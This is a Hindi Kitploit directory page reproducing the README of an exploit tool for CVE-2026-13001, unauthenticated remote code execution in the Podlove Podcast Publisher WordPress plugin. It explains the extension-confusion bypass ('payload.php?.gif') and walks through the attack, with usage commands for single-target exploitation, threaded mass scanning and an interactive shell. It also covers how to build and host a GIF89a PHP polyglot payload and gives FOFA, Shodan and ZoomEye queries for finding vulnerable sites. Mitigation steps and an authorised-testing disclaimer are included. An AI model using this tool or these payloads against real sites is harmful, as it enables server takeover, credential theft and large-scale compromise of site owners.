Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-13001 — CVE-2026-13001 के लिए शोषण: एक्सटेंशन भ्रम के माध्यम से Podlove पॉडकास्ट प्रकाशक में बिना प्रमाणीकरण के RCE। इसमें बड़े पैमाने पर स्कैनिंग, इंटरैक्टिव शेल और GIF89a PHP पॉलीग्लॉट पेलोड शामिल है। | Kitploit
उपकरण/GitHubGitHub/ghostpels/cve-2026-13001
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubghostpels/cve-2026-13001

CVE-2026-13001

CVE-2026-13001 के लिए शोषण: एक्सटेंशन भ्रम के माध्यम से Podlove पॉडकास्ट प्रकाशक में बिना प्रमाणीकरण के RCE। इसमें बड़े पैमाने पर स्कैनिंग, इंटरैक्टिव शेल और GIF89a PHP पॉलीग्लॉट पेलोड शामिल है।

रिपॉजिटरी देखें
11 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — एक्सटेंशन कन्फ्यूज़न के माध्यम से अनप्रमाणित RCE

CVSS 9.8 (गंभीर) | अनप्रमाणित मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है


अवलोकन

इस Podlove Podcast Publisher WordPress प्लगइन (संस्करण 4.5.1 तक) में गंभीर भेद्यता है जो अनप्रमाणित हमलावरों को इमेज कैश कार्यक्षमता के माध्यम से सर्वर पर मनमानी PHP फ़ाइलें अपलोड करने की अनुमति देती है, जिससे रिमोट कोड निष्पादन (RCE) होता है।

यह भेद्यता दो आंतरिक फ़ंक्शनों के बीच बेमेल का शोषण करती है जो फ़ाइल एक्सटेंशन को अलग-अलग तरीके से पार्स करते हैं:

फ़ंक्शनविधिइनपुट: payload.php?.gifपरिणाम
is_image()basename() फिर pathinfo()payload.php?.gif.gif (सत्यापन पास करता है)
extract_file_extension()parse_url() फिर pathinfo()/payload.php.php (डिस्क पर सहेजा गया)

भेद्यता विवरण

क्षेत्रमान
CVE आईडीCVE-2026-13001
CVSS9.8 (गंभीर)
CWECWE-20 (अनुचित इनपुट सत्यापन)
प्लगइनPodlove Podcast Publisher
प्रभावित4.5.1 तक के संस्करण
पैच किया गया4.5.2
प्रकारRCE की ओर ले जाने वाला अनप्रमाणित मनमाना फ़ाइल अपलोड
शोधकर्ताTalal Nasraddeen (Wordfence के माध्यम से)
प्रकाशितJuly 14, 2026

मूल कारण विश्लेषण

यह भेद्यता इसलिए मौजूद है क्योंकि Podlove प्लगइन में दो फ़ंक्शन समान URL को पार्स करते हैं लेकिन अलग-अलग फ़ाइल एक्सटेंशन निकालते हैं:

1. is_image() — सत्यापन (lib/helper.php में)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

फ़ंक्शन निम्न की जाँच करता है:

  • सामग्री-आधारित जाँच exif_imagetype() के माध्यम से - मान्य इमेज हेडर (GIF89a) की आवश्यकता होती है
  • WordPress फ़ाइल प्रकार जाँच wp_check_filetype_and_ext() के माध्यम से
  • एक्सटेंशन डेनीलिस्ट (php, php3, php4, php5, phtml, phar, आदि)

चूँकि basename() में क्वेरी स्ट्रिंग शामिल होती है, एक्सटेंशन gif के रूप में दिखाई देता है - जो डेनीलिस्ट में नहीं है।

2. extract_file_extension() — फ़ाइल नामकरण (lib/model/image.php में)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

फ़ाइल डिस्क पर .php एक्सटेंशन के साथ सहेजी जाती है।


हमले का प्रवाह

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

स्थापना

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

उपयोग

एकल लक्ष्य

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

मास स्कैन

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

इंटरैक्टिव मोड (अपलोड की गई फ़ाइल तक सीधी पहुँच)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

डीबग मोड

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

विकल्प

root@kitploit:~
-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

पेलोड: GIF89a PHP पॉलीग्लॉट

shell_polyglot.gif.php एक पॉलीग्लॉट फ़ाइल है जो GIF इमेज और PHP दोनों के रूप में मान्य है:

root@kitploit:~
GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

महत्वपूर्ण: पॉलीग्लॉट को स्टैटिक फ़ाइल के रूप में होस्ट किया जाना चाहिए (जैसे, Cloudflare R2, AWS S3, बिना PHP वाला nginx)। यदि होस्टिंग सर्वर PHP प्रोसेस करता है, तो कोड लक्ष्य को कच्ची सामग्री के रूप में वितरित होने के बजाय होस्टिंग सर्वर पर चलता है।


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

प्रभाव

सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:

  • wp-config.php से डेटाबेस क्रेडेंशियल निकालना
  • सभी WordPress उपयोगकर्ताओं, पोस्ट और प्लगइन डेटा तक पहुँच
  • स्थायी पहुँच तंत्र तैनात करना
  • आंतरिक नेटवर्क में पिवट करना
  • पूर्ण सर्वर समझौता

निवारण

  1. Podlove Podcast Publisher 4.5.2 या उसके बाद के संस्करण में अद्यतन करें
  2. wp-content/cache/podlove/ निर्देशिका की सामग्री हटाएँ
  3. कैश निर्देशिकाओं में अज्ञात PHP फ़ाइलों के लिए सर्वर की ऑडिट करें
  4. संदिग्ध podlove_image_cache_url अनुरोधों के लिए एक्सेस लॉग मॉनिटर करें

CVE-2025-10147 से संबंध

यह भेद्यता CVE-2025-10147 (Podlove <= 4.2.6) के फिक्स का बायपास है।

पहलूCVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)
मूल कारणकोई फ़ाइल प्रकार सत्यापन नहींएक्सटेंशन कन्फ्यूज़न के माध्यम से सत्यापन बायपास
तकनीकसीधा PHP फ़ाइल अपलोडGIF89a पॉलीग्लॉट + URL क्वेरी ट्रिक
लागू किया गया फिक्सडेनीलिस्ट के साथ is_image() जोड़ा गयाएक्सटेंशन पार्सिंग स्थिरता ठीक की गई

विस्तृत तुलना के लिए analysis/CVE_COMPARISON.md देखें।


संदर्भ

  • Wordfence सलाह
  • GitHub फिक्स कमिट
  • WordPress प्लगइन पेज
  • NVD प्रविष्टि

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।

यह उपकरण सुरक्षा शोधकर्ताओं और पैनेट्रेशन परीक्षकों के लिए है, जिनके पास लक्ष्य प्रणालियों का परीक्षण करने हेतु स्पष्ट लिखित प्राधिकरण हो। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।


लेखक

ghostpel-sec — सुरक्षा अनुसंधान और एक्सप्लॉइट विकास

लाइसेंस

यह प्रोजेक्ट ghostpel-sec सुरक्षा अनुसंधान लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें